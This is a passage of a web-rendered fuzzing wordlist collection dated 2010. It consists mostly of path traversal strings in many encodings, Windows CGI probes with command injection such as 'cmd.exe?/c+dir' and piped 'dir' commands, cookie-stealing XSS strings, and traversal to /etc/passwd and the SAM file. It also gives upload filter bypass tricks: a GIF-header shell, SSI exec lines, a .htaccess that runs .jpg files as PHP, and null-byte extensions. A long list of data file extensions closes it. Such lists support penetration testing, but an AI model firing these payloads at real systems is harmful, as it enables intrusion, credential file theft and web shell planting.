%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> ///%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> \\\%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> ..//{FILE}<br /> ..//..//{FILE}<br /> ..//..//..//{FILE}<br /> ..//..//..//..//{FILE}<br /> ..//..//..//..//..//{FILE}<br /> ..//..//..//..//..//..//{FILE}<br /> ..//..//..//..//..//..//..//{FILE}<br /> ..//..//..//..//..//..//..//..//{FILE}<br /> ..///{FILE}<br /> ..///..///{FILE}<br /> ..///..///..///{FILE}<br /> ..///..///..///..///{FILE}<br /> ..///..///..///..///..///{FILE}<br /> ..///..///..///..///..///..///{FILE}<br /> ..///..///..///..///..///..///..///{FILE}<br /> ..///..///..///..///..///..///..///..///{FILE}<br /> ..\\{FILE}<br /> ..\\..\\{FILE}<br /> ..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\..\\..\\..\\..\\{FILE}<br /> ..\\\{FILE}<br /> ..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\..\\\..\\\..\\\..\\\{FILE}<br /> ./\/./{FILE}<br /> ./\/././\/./{FILE}<br /> ./\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/././\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/././\/././\/././\/././\/./{FILE}<br /> .\/\.\{FILE}<br /> .\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../../../{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\..\..\..\{FILE}<br /> ./../{FILE}<br /> ./.././../{FILE}<br /> ./.././.././../{FILE}<br /> ./.././.././.././../{FILE}<br /> ./.././.././.././.././../{FILE}<br /> ./.././.././.././.././.././../{FILE}<br /> ./.././.././.././.././.././.././../{FILE}<br /> ./.././.././.././.././.././.././.././../{FILE}<br /> .\..\{FILE}<br /> .\..\.\..\{FILE}<br /> .\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\.\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\.\..\.\..\.\..\.\..\{FILE}<br /> .//..//{FILE}<br /> .//..//.//..//{FILE}<br /> .//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//.//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//.//..//.//..//.//..//.//..//{FILE}<br /> .\\..\\{FILE}<br /> .\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> ../{FILE}<br /> ../..//{FILE}<br /> ../..//../{FILE}<br /> ../..//../..//{FILE}<br /> ../..//../..//../{FILE}<br /> ../..//../..//../..//{FILE}<br /> ../..//../..//../..//../{FILE}<br /> ../..//../..//../..//../..//{FILE}<br /> ..\{FILE}<br /> ..\..\\{FILE}<br /> ..\..\\..\{FILE}<br /> ..\..\\..\..\\{FILE}<br /> ..\..\\..\..\\..\{FILE}<br /> ..\..\\..\..\\..\..\\{FILE}<br /> ..\..\\..\..\\..\..\\..\{FILE}<br /> ..\..\\..\..\\..\..\\..\..\\{FILE}<br /> ..///{FILE}<br /> ../..///{FILE}<br /> ../..//..///{FILE}<br /> ../..//../..///{FILE}<br /> ../..//../..//..///{FILE}<br /> ../..//../..//../..///{FILE}<br /> ../..//../..//../..//..///{FILE}<br /> ../..//../..//../..//../..///{FILE}<br /> ..\\\{FILE}<br /> ..\..\\\{FILE}<br /> ..\..\\..\\\{FILE}<br /> ..\..\\..\..\\\{FILE}<br /> ..\..\\..\..\\..\\\{FILE}<br /> ..\..\\..\..\\..\..\\\{FILE}<br /> ..\..\\..\..\\..\..\\..\\\{FILE}<br /> ..\..\\..\..\\..\..\\..\..\\\{FILE}<br /> &lt;/pre&gt;<br /> <br /> === Common Windows CGI (Update: 17 March 2010 - Total Statements: 76) ===<br /> &lt;pre&gt;# Common Windows CGI (Update: 17 March 2010 <br /> # fuzz inside executable directories<br /> # on windows, this is usually /scripts or /cgi-bin<br /> # adam.muntner@quietmove.com<br /> <br /> cart32.exe<br /> get32.exe<br /> visadmin.exe<br /> foxweb.exe<br /> webplus.exe?about<br /> fpsrvadm.exe<br /> MsmMask.exe<br /> cmd.exe?/c+dir<br /> cmd1.exe?/c+dir<br /> post32.exe|dir%20c:\\<br /> cgitest.exe<br /> hpnst.exe?c=p+i=<br /> Pbcgi.exe<br /> testcgi.exe<br /> webfind.exe?keywords=01234567890123456789<br /> redir.exe?URL=http%3A%2F%2Fwww%2Egoogle%2Ecom%2F%0D%0A%0D%0A%3C<br /> test-cgi.exe?&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> athcgi.exe?command=showpage&amp;script='],[0,0]];alert('Vulnerable');a=[['<br /> mkilog.exe<br /> mkplog.exe<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> perl.exe?-v<br /> perl.exe<br /> ppdscgi.exe<br /> c32web.exe/ChangeAdminPassword<br /> windmail.exe<br /> dbmlparser.exe<br /> cgimail.exe<br /> minimal.exe<br /> rguest.exe<br /> visitor.exe<br /> webbbs.exe<br /> wguest.exe<br /> /_vti_bin/fpcount.exe?Page=default.htm|Image=3|Digits=15<br /> cfgwiz.exe<br /> Cgitest.exe<br /> mailform.exe<br /> post16.exe<br /> imagemap.exe<br /> htimage.exe/path/filename?2,2<br /> htimage.exe<br /> Webnews.exe<br /> texis.exe/junk<br /> apexec.pl?etype=odp&amp;template=../../../../../../../../../../etc/passwd%00.html&amp;passurl=/category/<br /> sensepost.exe?/c+dir<br /> testcgi.exe<br /> testcgi.exe?&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> ion-p.exe?page=c:\winnt\repair\sam<br /> ../../../../../../../../../../WINNT/system32/ipconfig.exe<br /> NUL/../../../../../../../../../WINNT/system32/ipconfig.exe<br /> PRN/../../../../../../../../../WINNT/system32/ipconfig.exe<br /> c32web.exe/GetImage?ImageName=CustomerEmail.txt%00.pdf <br /> foxweb.dll<br /> wconsole.dll<br /> shtml.dll<br /> scripts/slxweb.dll/getfile?type=Library&amp;file=[invalid filename]<br /> rightfax/fuwww.dll/?<br /> WINDMAIL.EXE?%20-n%20c:\boot.ini%<br /> WINDMAIL.EXE?%20-n%20c:\boot.ini%20Hacker@hax0r.com%20|%20dir%20c:\\<br /> GW5/GWWEB.EXE<br /> GW5/GWWEB.EXE?GET-CONTEXT&amp;HTMLVER=AAA<br /> GW5/GWWEB.EXE?HELP=bad-request<br /> GWWEB.EXE?HELP=bad-request<br /> echo.bat<br /> echo.bat?&amp;dir+c:\\<br /> hello.bat?&amp;dir+c:\\<br /> input.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\..\\..\\<br /> input2.bat?|dir<br /> input2.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\..\\..\\<br /> test-cgi.bat<br /> test.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\..\\..\\<br /> tst.bat|dir%20..\\..\\..\\..\\..\\..\\..\\..\\,<br /> &lt;/pre&gt;<br /> <br /> === File Upload Filter Bypass (Update: 17 March 2010 - notes only) ===<br /> &lt;pre&gt;# File Upload Fuzzfile - File Name Filter Bypass<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> # For MIME filter bypass, your shellscript should look like<br /> # -------<br /> # GIF89aP;<br /> # [shell]<br /> # -------<br /> #<br /> # For mod_cgi Server Side Include upload attacks<br /> #<br /> #&lt;!--#exec cmd=&quot;ls&quot; --&gt;<br /> #<br /> #or, on Windows<br /> #<br /> #&lt;!--#exec cmd=&quot;dir&quot; --&gt;<br /> #<br /> # Sometimes you can overwrite .htaccess in an upload folder on Apache httpd, try setting .jpg to executable. If you can set the target directory, try fuzz the list of all dirs you've enumberated on the servers, and try the commonly writable directory fuzzfile.<br /> #<br /> # example .htaccess that sets mime type .jpg to be executable:<br /> # -----<br /> # AddType application/x-httpd-php .jpg<br /> # -----<br /> &lt;/pre&gt;<br /> <br /> === Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 2) ===<br /> &lt;pre&gt;# Cross-Platform File Upload Filter Bypass Appends (Update: 17 March 2010<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> %00index.html<br /> ;index.html<br /> &lt;/pre&gt;<br /> <br /> === Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 7) ===<br /> &lt;pre&gt;# Cross-Platform File Upload Filter Bypass Appends (Update: 17 March 2010 - notes<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> # also: use &quot;gim&quot; to create a .jpg image with the meta comment field set to:<br /> # -----<br /> #&lt;?php phpinfo(); ?&gt; <br /> #-----<br /> <br /> {PHPSCRIPT}<br /> {PHPSCRIPT}.phtml<br /> {PHPSCRIPT}.php.html<br /> {PHPSCRIPT}.php::$DATA<br /> {PHPSCRIPT}.php.php.rar <br /> {PHPSCRIPT}.php.rar<br /> &lt;/pre&gt;<br /> <br /> === Microsoft-Specific Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 14) ===<br /> &lt;pre&gt;# Microsoft-Specific Cross-Platform File Upload Filter Bypass Appends (Update: 17 March 2009<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> {ASPSCRIPT}<br /> {ASPSCRIPT};<br /> {ASPSCRIPT};.jpg<br /> {ASPSCRIPT};.pdf<br /> {ASPSCRIPT};.html<br /> {ASPSCRIPT};.htm<br /> {ASPSCRIPT};.txt<br /> {ASPSCRIPT};.xyz<br /> {ASPSCRIPT};.zip<br /> {ASPSCRIPT};.tgz<br /> {ASPSCRIPT};.doc<br /> {ASPSCRIPT};.docx<br /> {ASPSCRIPT};.xls<br /> {ASPSCRIPT};.xlsx<br /> &lt;/pre&gt;<br /> <br /> === Commonly Writable directories File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 9) ===<br /> &lt;pre&gt;#Commonly Writable directories File Upload Filter Bypass - Filename Appends (Update: 17 March 2010) <br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> {HOST}/templates_compiled/<br /> {HOST}/templates_c/<br /> {HOST}/templates/<br /> {HOST}/temporary/<br /> {HOST}/images/<br /> {HOST}/cache/<br /> {HOST}/temp/<br /> {HOST}/files/<br /> {HOST}/tmp/<br /> &lt;/pre&gt;<br /> <br /> === Common Data File Extensions (Update: 16 March 2010 - Total Statements: 863) ===<br /> &lt;pre&gt;<br /> #Common Data File Extensions (Update: 16 March 2010 - Total Statements: 863<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> &lt;pre&gt;<br /> .$er<br /> .123<br /> .1pe<br /> .1ph<br /> .3dr<br /> .3dt<br /> .3me<br /> .3pe<br /> .4dl<br /> .4dv<br /> .8xk<br /> .^^^<br /> .a3l<br /> .a3m<br /> .a3w<br /> .a4l<br /> .a4m<br /> .a4w<br /> .a5l<br /> .a5w<br /> .a65<br /> .aao<br /> .ab<br /> .ab1<br /> .ab2<br /> .ab3<br /> .abcd<br /> .abi<br /> .abp<br /> .aby<br /> .aca<br /> .acc<br /> .accdb<br /> .acf<br /> .acg<br /> .ade<br /> .adp<br /> .adt<br /> .adx<br /> .aft<br /> .agd<br /> .aifb<br /> .alc<br /> .ald<br /> .ali<br /> .amb<br /> .amsorm<br /> .an1<br /> .anme<br /> .apr<br /> .arc<br /> .arh<br /> .ask<br /> .asm<br /> .ast<br /> .at5<br /> .att<br /> .aw<br /> .awg<br /> .azw<br /> .bafl<br /> .bci<br /> .bcm<br /> .bdf<br /> .bdic<br /> .bfx<br /> .bgl<br /> .bgt<br /> .bin<br /> .bjo<br /> .bk<br /> .bkk<br /> .blb<br /> .bld<br /> .blg<br /> .bok<br /> .box<br /> .brd<br /> .brw<br /> .btf<br /> .btif<br /> .btm<br /> .btr<br /> .cap<br /> .cat<br /> .cbg<br /> .cch<br /> .ccr<br /> .cct<br /> .cdb<br /> .cdd<br /> .cdf<br /> .cdp<br /> .cdr<br /> .cdx<br /> .cel<br /> .celtx<br /> .chg<br /> .chk<br /> .chn<br /> .ckd<br /> .ckt<br /> .cl2<br /> .cl4<br /> .clb<br /> .clix<br /> .clm<br /> .clp<br /> .cmbl<br /> .cna<br /> .contact<br /> .cpi<br /> .cpmz<br /> .crd<br /> .crtx<br /> .csa<br /> .csv<br /> .ctf<br /> .ctt<br /> .cursorfx<br /> .curxptheme<br /> .cvd<br /> .cvn<br /> .cwk<br /> .cws<br /> .cwz<br /> .cxt<br /> .cyo<br /> .cys<br /> .daf<br /> .dal<br /> .dam<br /> .das<br /> .dat<br /> .data<br /> .db<br /> .db2<br /> .db3<br /> .dbc<br /> .dbd<br /> .dbf<br /> .dbx<br /> .dcf<br /> .dcl<br /> .dcm<br /> .dcmd<br /> .ddc<br /> .ddcx<br /> .ddt<br /> .dem<br /> .des<br /> .dex<br /> .dfm<br /> .dfproj<br /> .dft<br /> .dgb<br /> .dif<br /> .dii<br /> .dlg<br /> .dm2<br /> .dmo<br /> .dmsk<br /> .dnc<br /> .dockzip<br /> .dp1<br /> .dpn<br /> .dpx<br /> .drl<br /> .dsb<br /> .dsd<br /> .dsk<br /> .dsy<br /> .dsz<br /> .dt0<br /> .dt1<br /> .dt2<br /> .dta<br /> .dtr<br /> .dvdproj<br /> .dvo<br /> .dwi<br /> .e00<br /> .eap<br /> .ebuild<br /> .ec0<br /> .eco<br /> .ecx<br /> .edb<br /> .edf<br /> .eep<br /> .efx<br /> .egp<br /> .emb<br /> .emd<br /> .emlxpart<br /> .enc<br /> .enw<br /> .epp<br /> .epub<br /> .epw<br /> .er1<br /> .esp<br /> .ess<br /> .est<br /> .esx<br /> .et<br /> .eta<br /> .etd<br /> .etl<br /> .ev<br /> .ev3<br /> .evt<br /> .evy<br /> .exif<br /> .exp<br /> .exx<br /> .fa<br /> .fasta<br /> .fbl<br /> .fcd<br /> .fcs<br /> .fdb<br /> .ffd<br /> .ffwp<br /> .fhc<br /> .fid<br /> .fil<br /> .flame<br /> .fll<br /> .flo<br /> .flp<br /> .flt<br /> .fm<br /> .fm5<br /> .fmp<br /> .fo<br /> .fob<br /> .fol<br /> .fop<br /> .fox<br /> .fp<br /> .fp3<br /> .fp4<br /> .fp5<br /> .fp7<br /> .frl<br /> .frm<br /> .fro<br /> .frx<br /> .fsb<br /> .fsc<br /> .ftm<br /> .ftw<br /> .gan<br /> .gbr<br /> .gc<br /> .gcx<br /> .gdb<br /> .ged<br /> .gedcom<br /> .gen<br /> .ggb<br /> .gml<br /> .gms<br /> .gno<br /> .gnp<br /> .gp3<br /> .gpi<br /> .gps<br /> .gpx<br /> .gra<br /> .grade<br /> .grf<br /> .grib<br /> .grk<br /> .grr<br /> .grv<br /> .gs<br /> .gst<br /> .gtp<br /> .gwk<br /> .gxl<br /> .hcc<br /> .hce<br /> .hci<br /> .hcp<br /> .hcr<br /> .hcu<br /> .hda<br /> .hdb<br /> .hdf<br /> .hdi<br /> .hdl<br /> .hif<br /> .hl<br /> .hml<br /> .hmt<br /> .hs2<br /> .hsk<br /> .hst<br /> .htg<br /> .huh<br /> .hyv<br /> .i5z<br /> .ib<br /> .ics<br /> .id2<br /> .idx<br /> .igc<br /> .ihx<br /> .ii<br /> .iif<br /> .img<br /> .imt<br /> .ink<br /> .inp<br /> .ins<br /> .ip<br /> .irock<br /> .irr<br /> .irx<br /> .isf<br /> .itdb<br /> .itl<br /> .itm<br /> .itn<br /> .itw<br /> .itx<br /> .ivt<br /> .iw<br /> .ixb<br /> .jasper<br /> .jdb<br /> .jef<br /> .jmp<br /> .jnt<br /> .job<br /> .joboptions<br /> .joined<br /> .jph<br /> .jrprint<br /> .jrxml<br /> .jude<br /> .kap<br /> .kdb<br /> .kid<br /> .kismac<br /> .kmz<br /> .kpf<br /> .kpp<br /> .kpr<br /> .kpx<br /> .kpz<br /> .l<br /> .l6t<br /> .laccdb<br /> .lbl<br /> .lbx<br /> .lcd<br /> .lcf<br /> .lcm<br /> .ldif<br /> .lex<br /> .lgc<br /> .lgf<br /> .lgh<br /> .lgi<br /> .lgl<br /> .lib<br /> .lif<br /> .livereg<br /> .liveupdate<br /> .lix<br /> .llb<br /> .lms<br /> .lmx<br /> .lnt<br /> .loc<br /> .lp7<br /> .lrf<br /> .lrs<br /> .lrx<br /> .lsf<br /> .lsl<br /> .lsp<br /> .lsr<br /> .lst<br /> .lsu<br /> .lvm<br /> .lw4<br /> .ly<br /> .m<br /> .mag<br /> .mai<br /> .map<br /> .masseffectprofile<br /> .mat<br /> .mbb<br /> .mbf<br /> .mbg<br /> .mbl<br /> .mbp<br /> .mbx<br /> .mc1<br /> .mc9<br /> .mcd<br /> .md<br /> .mdb<br /> .mdc<br /> .mdf<br /> .mdl<br /> .mdm<br /> .mdn<br /> .mdt<br /> .mdx<br /> .mdz<br /> .mem<br /> .menc<br /> .met<br /> .mex<br /> .mfo<br /> .mfp<br /> .mgc<br /> .mls<br /> .mm<br /> .mmap<br /> .mmc<br /> .mmf<br /> .mmp<br /> .mnc<br /> .mng<br /> .mnk<br /> .mno<br /> .mny<br /> .mobi<br /> .moho<br /> .mosaic<br /> .mox<br /> .mpd<br /> .mpj<br /> .mpp<br /> .mpt<br /> .mpx<br /> .mpz<br /> .mq4<br /> .ms10<br /> .mth<br /> .mtw<br /> .mud<br /> .muf<br /> .mw<br /> .mwf<br /> .mws<br /> .mwx<br /> .mxd<br /> .myd<br /> .myi<br /> .nb<br /> .nc<br /> .ndf<br /> .ndk<br /> .ndx<br /> .net<br /> .neta<br /> .nfo<br /> .nitf<br /> .nmind<br /> .not<br /> .notebook<br /> .np<br /> .npl<br /> .npt<br /> .nrl<br /> .ns2<br /> .ns3<br /> .ns4<br /> .nsf<br /> .ntx<br /> .numbers<br /> .nvl<br /> .nyf<br /> .oab<br /> .obj<br /> .odb<br /> .odf<br /> .odp<br /> .ods<br /> .odx<br /> .oeaccount<br /> .ofc<br /> .ofm<br /> .oft<br /> .ofx<br /> .omcs<br /> .omp<br /> .ond<br /> .one<br /> .oo3<br /> .opf<br /> .opx<br /> .or2<br /> .or3<br /> .or4<br /> .or5<br /> .or6<br /> .org<br /> .orx<br /> .otf<br /> .otl<br /> .otln<br /> .ots<br /> .out<br /> .ov2<br /> .ova<br /> .ovf<br /> .p96<br /> .p97<br /> .pab<br /> .paf<br /> .pan<br /> .pbd<br /> .pc<br /> .pcap<br /> .pcb<br /> .pcr<br /> .pd4<br /> .pd5<br /> .pdas<br /> .pdb<br /> .pdd<br /> .pdm<br /> .pds<br /> .pdx<br /> .peb<br /> .pec<br /> .pep<br /> .pex<br /> .pfc<br /> .pfl<br /> .phb<br /> .phm<br /> .pi<br /> .pis<br /> .pjx<br /> .pka<br /> .pkb<br /> .pkh<br /> .pks<br /> .pkt<br /> .pln<br /> .plw<br /> .pmo<br /> .pmr<br /> .pnproj<br /> .pnpt<br /> .pns<br /> .pnt<br /> .pod<br /> .poi<br /> .pos<br /> .postal<br /> .pot<br /> .potm<br /> .potx<br /> .pp2<br /> .ppf<br /> .pps<br /> .ppsx<br /> .ppt<br /> .pptm<br /> .pptx<br /> .prc<br /> .pre<br /> .prf<br /> .prj<br /> .prm<br /> .prs<br /> .psa<br /> .psf<br /> .psm<br /> .pst<br /> .ptb<br /> .ptf<br /> .ptk<br /> .ptm<br /> .ptn<br /> .ptt<br /> .ptz<br /> .pvl<br /> .pwd<br /> .pxj<br /> .pxl<br /> .q07<br /> .q08<br /> .q09<br /> .q3d<br /> .qbw<br /> .qdat<br /> .qdf<br /> 